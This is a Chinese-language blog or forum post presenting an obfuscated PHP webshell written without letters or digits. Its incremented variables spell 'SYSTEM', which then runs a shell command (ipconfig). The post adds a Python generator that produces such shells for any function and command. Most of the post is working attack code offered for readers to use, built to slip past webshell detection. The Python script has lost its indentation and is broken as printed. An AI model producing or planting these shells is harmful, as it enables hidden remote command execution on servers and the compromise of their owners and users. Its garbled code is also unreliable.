这种php的数据表示方法是国外几个大牛提出来的。
蛋疼了研究了下,写出了个微型shell
<?php $_[]++;$_[]=$_._;$_=$_[$_[+_]];$_=$__=$___=$____=$_____=$______=$_[+_]; $_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++; $____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++; $_____++;$_____++;$_____++;$_____++; $______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++; $_=$_.$__.$___.$____.$_____.$______;$_("ipconfig"); ?>
简单说明下
$_[]++;
$_[]=$_._;
$_=$_[$_[+_]];
$_=$_[+_]; //使用数组提取字符串
$_++; //偏移 1 得B,如果不用这句就是A
$_("123"); //将$_ 作为函数使用
虽然会报错,但是最后函数会执行。
$++ 的使用可以依次代表24个字母 A不添加 B添加一次,以此类推。
写了一个生成脚本,大家自己看着玩吧。
#!/usr/bin/python
#! PHP WEBSHELL
x={'A':'0','B':'1','C':'2','D':'3','E':'4','F':'5','G':'6','H':'7','I':'8','J':'9','K':'10','L':'11','M':'12','N':'13','O':'14','P':'15','Q':'16','R':'17','S':'18','T':'19','U':'20','V':'21','W':'22','X':'23','Y':'24','Z':'25'}
_attr=[]
_list=[]
_fuck=[]
def _num(s):
tar=[]
x='_'
for i in range(s):
st = '$_'+x*i
tar.append(st)
return tar
code=raw_input('Enter Code>>>').upper()
com =raw_input('Enter Comd>>>')
for i in code:
_attr.append(x[i])
start = '<?php $_[]++;$_[]=$_._;$_=$_[$_[+_]];'+'='.join(_num(len(code)))+'=$_[+_];'
_list.append(start)
for i in range(len(_attr)):
x = _num(len(code))[i]
s= (x+'++;')*int(_attr[i])
_list.append(s)
end ='$_='+'.'.join(_num(len(code)))+';$_("'+com+'"); ?>'
_list.append(end)
print ' '.join(_list)
应该没有哪里弄错,提供两个用户输入 一个是php函数,另一个是函数参数。
妈的四点了 睡觉去 8.。。。
